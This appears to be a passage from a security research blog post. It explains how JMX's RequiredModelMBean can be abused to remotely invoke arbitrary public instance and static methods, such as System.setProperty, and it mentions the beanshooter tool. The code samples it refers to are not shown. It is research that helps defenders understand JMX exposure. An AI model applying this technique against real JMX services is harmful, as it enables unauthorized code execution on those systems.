Java resources wishing to be manageable instantiate the RequiredModelMBean using the MBeanServer's createMBean method. The resource then sets the MBeanInfo and Descriptors for the RequiredModelMBean instance. The attributes and operations exposed via the ModelMBeanInfo for the ModelMBean are accessible from MBeans, connectors/adaptors like other MBeans. […]

– RequiredModelMBean (Java Platform SE 8)

So instead of having the wrapping MBean class use reflection to retrieve the MBean information from the interface class, a RequiredModelMBean allows to specify the set of attributes, operations, etc. by providing a ModelMBeanInfo with corresponding ModelMBeanAttributeInfo, ModelMBeanOperationInfo, etc.

That means, we can define what public instance attribute getters, setters, or regular methods we want to be invokable remotely.

Invoking Arbitrary Instance Methods

We can even define methods that do not fulfill the JavaBeansβ„’ convention or MBeans design patterns like this example with java.io.File demonstrates:

This works with every serializable object and public instance method. Arguments also need to be serializable. Return values can only be retrieved if they are also serializable, however, this is not a requirement for invoking a method in the first place.

Invoking Arbitrary Static Methods

While working on the implementation of some of the insights described here into beanshooter, Tobias pointed out that it is also possible to invoke static methods on arbitrary classes.

At first I was baffled because when reading the implementation of RequiredModelMBean.invoke(String, Object[], String[]), there is no way to have targetObject being null. And my assumption was that for calling static methods, the object instance provided as first argument to Method.invoke(Object, Object...) must be null. However, I figured that my assumption was entirely wrong after reading the manual:

If the underlying method is static, then the specified obj argument is ignored. It may be null.

– Method.invoke(Object, Object...) (Java Platform SE 8)

Furthermore, it is not even required that the method is declared in a serializable class but any static method of any class can be specified! Awesome finding, Tobias!

So, for calling static methods, an additional Descriptor instance needs to be provided to the ModelMBeanOperationInfo constructor which holds a class field with the targeted class name.

The provided class field is read in RequiredModelMBean.invoke(String, Object[], String[]) and overrides the target class variable, which otherwise would be obtained by calling getClass() on the resource object.

So, for instance, for creating a ModelMBeanOperationInfo for System.setProperty(String, String), the following can be used:

As already said, for calling the static method, the resource managed by RequiredModelMBean can be any arbitrary serializable instance. So even a String suffices.

This works with any public static method regardless of the class it is declared in. But again, provided argument values still need to be serializable. And return values can only be retrieved if they are also serializable, however, this is not a requirement for invoking a method in the first place.

Conclusion

Even though exploitation of JMX is generally well understood and comprehensively researched, apparently no one had looked into the aspects described here.

So check your assumptions! Don't take things for granted, even when it seems everyone has already looked into it. Dive deep to understand it fully. You might be surprised.

❌
❌